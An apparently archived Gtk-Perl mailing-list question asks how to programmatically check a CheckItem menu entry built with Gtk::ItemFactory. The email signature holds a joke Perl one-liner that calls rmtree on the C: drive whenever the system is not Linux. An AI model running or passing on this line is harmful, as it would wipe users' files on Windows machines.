ItemFactory and CheckItem



Hi,

i create a menubar with Gtk::ItemFactory. One pulldown menu has some 
checkbuttons like this:

{       path    => "/Hilfe/Infos",
        type    => "<CheckItem>",
        callback=> \&tooltips,
}

By default the button is not checked. How can i check it in the program? 
Normaly for CheckButtons $button->set_active($true) is the way to toggle it 
on, but in this case i don't have any widget reference.

What can i do?

Thank you

-- 
print "THINK PENGUIN!\n";use File::Path;unless ($^O eq "linux")
{print "Remove fucking '$^O'!\n" if(rmtree("c:\"));}

http://www.climbing-penguins.onlinehome.de



[Date Prev][Date Next]   [Thread Prev][Thread Next]   [Thread Index] [Date Index] [Author Index]